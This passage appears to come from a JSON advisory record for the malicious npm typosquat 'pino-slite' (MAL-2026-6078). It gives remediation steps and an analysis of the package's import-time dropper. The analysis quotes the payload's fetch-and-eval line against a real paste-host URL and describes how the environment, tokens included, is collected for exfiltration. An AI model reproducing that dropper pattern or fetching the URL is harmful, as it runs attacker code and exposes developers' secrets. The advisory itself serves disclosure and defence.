If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

On require(), lib/writer.js (loaded transitively from the package main pino.js) decodes a base64 string and passes it to eval(atob(hash)). The decoded payload performs `fetch('https://jsonkeeper.com/b/0DWFC').then(r=\u003er.json()).then(d=\u003e{eval(d.ret);})`, executing attacker-controlled JavaScript fetched from a mutable third-party paste host on every load. Immediately before the eval, the module assembles a `data` object containing `{...process.env, version, platform: os.platform(), hostname: os.hostname(), username: os.userInfo().username, macAddresses: \u003cnon-internal IPv4 MACs\u003e}`, which is in scope for the remotely-fetched code — providing a ready-made channel to exfiltrate the installer's full environment (CI secrets, AWS_*, NPM_TOKEN, GH tokens, etc.) and host identifiers. This combines a typosquat lure, an import-time RCE dropper from an attacker-controlled mutable URL, and an environment-credential harvester.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in pino-slite (npm)","id":"MAL-2026-6078","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"pino-slite","purl":"pkg:npm/pino-slite","source":"MAL-2026-6078"}],"products":null,"published":"2026-06-17","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6078/"}
